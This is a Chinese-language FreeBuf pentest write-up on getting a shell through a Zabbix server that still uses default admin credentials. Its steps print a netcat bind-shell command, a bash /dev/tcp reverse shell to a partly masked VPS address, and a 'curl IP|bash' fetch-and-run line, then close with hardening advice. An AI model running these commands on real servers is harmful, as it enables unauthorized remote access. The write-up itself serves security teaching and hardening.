freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

记一次渗透测试过程中的Zabbix命令执行利用
2018-04-19 08:30:18
所属地 江西省

Zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。管理员在安装配置Zabbix过程中,使用了弱口令或默认的用户名与口令(Admin/zabbix),这样,Zabbix服务器的用户认证就形同虚设。攻击者可以创建“system.run[command,]”监控项执行命令,甚至获取服务器shell,进行各种挖矿行为。

测试过程

下面是获取Zabbix Admin口令的情况下,如何获取服务器shell的过程。

1. 在“管理-->脚本”页面中创建一个script,如下图:

1.png

“执行在”选择Zabbix 服务器,“命令”里输入:

mkfifo /tmp/tmp_fifo
cat /tmp/tmp_fifo | /bin/bash -i 2>&1 | nc -l 12345 > /tmp/tmp_fifo

意思是用nc在12345端口上绑定一个反弹shell。

2. 在“监测中-->问题”此界面点击一台服务器,随即会弹出一个“脚本”选项卡,点击上面创建的"nc shell"。

1.png

这样上面的命令就会被执行。但是,由于选择的这台服务器没有安装nc,导致命令执行不成功。既然没有安装nc,那就给这台服务器安装nc呗!

1.png

3.创建一个脚本,在命令里输入“yum –y install nc",安装nc。

1.png

4.执行步骤3当中的脚本失败,显示需要root权限才能执行。

1.png

到这步,利用nc建立正向连接的shell是没戏了。

5.这时,在“配置-->主机”界面可以看到Zabbix服务器监控着Linux平台的服务器。

1.png

6.此时脑子回想着Linux服务器get shell的方法。既然能够命令执行,那我们是不是可以在一台服务器上开放一个特定的端口,构造好反弹shell的代码,只要有客户端连接此端口,那么客户端的shell就会反弹到我们那台服务器上。

7.OK,那按照上面思路先在一个VPS上搭建一个Web服务器,在网站根目录下创建一个index.html,内容如下:

sh -i >& /dev/tcp/52.**.***.78/12345 0>&1

意思是与52..*.78这台服务器的12345端口建立tcp连接,并将自己的shell反弹到此服务器。

8.在52..*.78这台服务器监听12345端口。

1.png

9.然后在Zabbix服务器上创建一个脚本,用于反弹shell的建立。

1.png

在命令里输入“curl 52..*.78|bash”。

执行上面的脚本

1.png

10.反弹shell建立成功。

1.png

zabbix安全加固

下面说一下如何对zabbix安全加固,防止这种情况发生:

1、很重要的一点,zabbix的登录口令一定要复杂,不要用默认口令或弱口令;

2、zabbix的server和agent都不要以root启动,不要设置AllowRoot=1;

3、禁止agent执行system.run,不要设置EnableRemoteCommands=1。

* 本文作者itlance_ouyang,转载注明来自FreeBuf.com

# 渗透测试 # zabbix
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者